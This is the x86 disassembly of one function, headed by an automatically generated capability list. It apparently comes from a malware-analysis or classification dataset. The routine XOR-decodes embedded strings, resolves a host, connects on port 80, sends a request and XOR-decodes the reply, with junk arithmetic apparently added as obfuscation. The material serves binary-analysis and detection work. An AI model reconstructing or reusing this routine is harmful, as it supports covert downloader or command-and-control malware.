Function at 0x408580
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040ca80
push 0xffffffffffffffff
push 0x41e9bb
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x425fc0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
xor edx, edx
mov word [ebp - 0x38], dx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
xor eax, eax
mov word [ebp - 0x3c], ax
fst dword [ebp - 0x20]
xor ecx, ecx
mov word [ebp - 0x28], cx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
fstp dword [ebp - 0x20]
mov byte [ebp + 0x11bc], al
mov eax, esi
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], ebx
lea edx, [eax + 1]
jmp 0x408630
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408630
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4089c7
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fadd dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
fisub dword [ebp - 0x1c]
fsubp st(1)
call fcn.0040b5d0
fld1
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x1c]
inc dword [ebp - 0x30]
xor eax, eax
cmp eax, edi
jg 0x4086ea
fld dword [0x4242e8]
fadd st(1)
fstp dword [0x4242e8]
fld dword [0x4242e8]
fadd dword [0x4249c4]
fstp dword [0x4249c4]
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x4086e7
fstp st(0)
mov byte [ebp + eax + 0x13bc], 0
fld qword [0x41f888]
mov ecx, eax
cmp ecx, edi
jg 0x4086ea
fld dword [0x4250d0]
mov edx, ecx
fadd st(1)
sub edx, eax
inc ecx
fadd qword [0x4244f0]
fstp qword [0x4244f0]
mov bl, byte [ecx + esi - 1]
mov byte [ebp + edx + 0x11bc], bl
xor ebx, ebx
jmp 0x4086bb
inc eax
jmp 0x408676
lea eax, [ebp + 0x11bc]
fstp st(0)
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f5
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408708
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408733
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089c7
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4089bf
mov eax, edi
mov esi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408737
lea edi, [ebp + 0x11bc]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408747
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], ebx
xor ecx, ecx
mov dword [ebp - 0x14], ebx
push 5
mov word [ebp - 0x18], cx
call fcn.0040b813
mov edx, dword [0x42530c]
mov esi, eax
mov dword [esi], edx
mov al, byte [0x425310]
mov byte [esi + 4], al
mov eax, dword [0x4277c4]
sub eax, 0x423004
add esp, 4
lea edi, [esi + 5]
mov ecx, esi
add eax, 0x42530c
lea esp, [esp]
cmp ecx, edi
je 0x4087ac
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
jmp 0x4087a0
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087b1
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408360
xor eax, eax
mov word [ebp - 0x18], ax
mov dword [esi], eax
push esi
mov dword [ebp - 0x14], ebx
mov byte [esi + 4], al
call fcn.0040b67b
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e7
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408440
mov dword [ebp - 0x14], ebx
xor edx, edx
mov dword [ebp - 0x14], ebx
push 0x32
mov word [ebp - 0x18], dx
call fcn.0040b813
push 0x32
mov esi, eax
push 0x425314
push esi
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
add esp, 0x10
lea edi, [esi + 0x32]
mov ecx, esi
add eax, 0x425314
lea esp, [esp]
cmp ecx, edi
je 0x40884c
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
jmp 0x408840
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408851
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408440
mov ax, word [0x425378]
movzx ecx, word [ebp - 0x3c]
cwde
push 0x32
add ecx, eax
mov word [0x425378], cx
xor edx, edx
push ebx
mov word [ebp - 0x18], dx
push esi
mov dword [ebp - 0x14], ebx
call fcn.0040b710
push esi
call fcn.0040b67b
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088a0
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408440
fld dword [0x424200]
fmul dword [ebp - 0x20]
xor ecx, ecx
push 5
fstp dword [0x424200]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x18], cx
call fcn.0040b813
mov edx, dword [0x424ad8]
mov esi, eax
mov dword [esi], edx
mov al, byte [0x424adc]
mov byte [esi + 4], al
mov eax, dword [0x4277c4]
sub eax, 0x423004
add esp, 4
lea edi, [esi + 5]
mov ecx, esi
add eax, 0x424ad8
cmp ecx, edi
je 0x408913
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
jmp 0x408907
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408918
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408440
xor eax, eax
mov word [ebp - 0x18], ax
mov dword [esi], eax
push esi
mov dword [ebp - 0x14], ebx
mov byte [esi + 4], al
call fcn.0040b67b
add esp, 4
lea ecx, [ebp]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408963
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408da8
mov eax, dword [0x424af0]
sub eax, 0x104b2bf
cmp eax, 0x32bd039a
jne 0x408985
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x34]
imul ecx, edx
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x34]
jmp 0x408995
mov eax, dword [0x423108]
imul eax, eax, 0x44a1c131
mov dword [0x423108], eax
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x34], esi
cmp esi, 0xffffffff
jne 0x4089ec
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089c7
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040b160
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040bcf4
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], ebx
je 0x408a0d
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
je 0x4089af
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408a73
cmp dword [ebp + 0x1b8], edi
jmp 0x4089b6
inc dword [ebp - 0x38]
mov dx, word [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
movsx eax, dx
imul eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a9a
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408ac9
cmp dword [ebp + 0x1b8], edi
jb 0x4089c7
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4089bf
mov ecx, dword [ebp - 0x2c]
push ebx
push 0x41f880
call fcn.00408360
mov ecx, dword [0x424b70]
mov eax, 0x55eba988
sub eax, ecx
add dword [0x424ba8], eax
or edi, 0xffffffff
or ebx, edi
nop
mov eax, dword [ebp - 0x34]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408d21
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x2c]
call fcn.00408440
test edi, edi
jge 0x408ce2
push 5
push 0x424ad8
call fcn.00401c90
mov edx, dword [ebp - 0x1c]
mov esi, eax
mov eax, 0x993696c8
sub eax, edx
add esp, 8
cmp eax, 0x4f2c607e
jg 0x408b64
mov cx, word [0x424474]
movsx edx, cx
mov eax, 0xd2a01a93
sub eax, edx
add dword [ebp - 0x1c], eax
dec word [0x424474]
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b70
mov ecx, dword [ebp - 0x2c]
sub eax, edx
push eax
push 0
push esi
call fcn.00404370
fld dword [0x425380]
fadd qword [0x41f340]
mov edi, eax
xor eax, eax
push esi
fstp dword [0x425380]
fld qword [0x4241e0]
fld dword [ebp - 0x20]
fsub qword [0x41f878]
fadd dword [0x425380]
fsubp st(1)
fstp qword [0x4241e0]
mov word [ebp - 0x18], ax
mov dword [esi], eax
mov dword [ebp - 0x14], eax
mov byte [esi + 4], al
call fcn.0040b67b
add esp, 4
test edi, edi
jl 0x408ce2
mov ecx, dword [ebp - 0x2c]
push ecx
add edi, 4
call fcn.00406970
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
test ebx, ebx
jge 0x408ce6
push 0xb
push 0x424940
call fcn.00401c90
mov ecx, dword [ebp - 0x2c]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00404fe0
dec dword [ebp - 0x38]
mov dx, word [ebp - 0x38]
mov ebx, eax
movsx eax, dx
mov ecx, 0xdc3ef88
sub ecx, eax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd qword [0x4241f0]
mov edx, dword [0x4241fc]
inc dword [0x4241fc]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 0x41
jp 0x408c63
movzx eax, word [ebp - 0x28]
movzx ecx, word [ebp - 0x28]
movzx edx, word [0x424444]
sub eax, ecx
imul eax, edx
mov word [0x424444], ax
jmp 0x408ca7
fld qword [0x4230f0]
fadd qword [0x41f340]
fstp qword [0x4230f0]
fld qword [0x4230f0]
mov eax, dword [ebp - 0x24]
mov cx, word [ebp - 0x28]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
movsx edx, cx
mov dword [ebp - 0x14], edx
faddp st(1)
fadd qword [0x41f870]
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b5d0
mov word [ebp - 0x28], ax
dec dword [ebp - 0x24]
push esi
push 0xb
call fcn.004014e0
add esp, 8
test ebx, ebx
jge 0x408d21
fld dword [0x424a8c]
mov ebx, dword [ebp - 0x18]
fld dword [ebp - 0x20]
fsub qword [0x41f868]
fadd dword [0x4250d0]
fsubp st(1)
fstp dword [0x424a8c]
fld dword [ebp - 0x20]
fadd qword [0x41f340]
fstp dword [ebp - 0x20]
test ebx, ebx
jl 0x408cf2
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408d21
cmp dword [ebp + 0x1458], 0
je 0x408dba
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx + 0x14], 0x4000
jb 0x408dba
fld qword [0x4241f0]
fsub qword [0x41f860]
fstp qword [0x4241f0]
mov edx, dword [ebp - 0x34]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x4241f8]
add eax, 0x3481ded0
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [0x424200]
fstp dword [0x424984]
call sub.WS2_32.dll_WSACleanup
mov esi, dword [ebp - 0x2c]
test edi, edi
jl 0x408d65
fld dword [0x41f858]
push edi
push 0
fstp dword [ebp - 0x20]
mov ecx, esi
call fcn.00404f50
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x408da2
dec dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
sub ecx, 0xe112c2d
mov dword [ebp - 0x34], ecx
xor eax, eax
cmp eax, dword [esi + 0x14]
jae 0x408da2
cmp dword [esi + 0x18], edi
jb 0x408d98
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x408d85
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x408d85
cmp dword [ebp + 0x1b8], edi
jb 0x4089c7
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4089bf
mov eax, dword [ebp - 0x24]
cmp eax, 0x459a0955
jle 0x408af0
mov cx, word [0x424b10]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub qword [0x424b00]
fadd qword [0x41f850]
fcomp qword [0x41f848]
fnstsw ax
fld qword [0x424b00]
fsub qword [0x41f340]
fstp qword [0x424b00]
test ah, 5
jp 0x408af0
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x424a00]
sub eax, 0x58816d14
imul eax, ecx
mov dword [0x424a00], eax
inc dword [ebp - 0x30]
jmp 0x408af0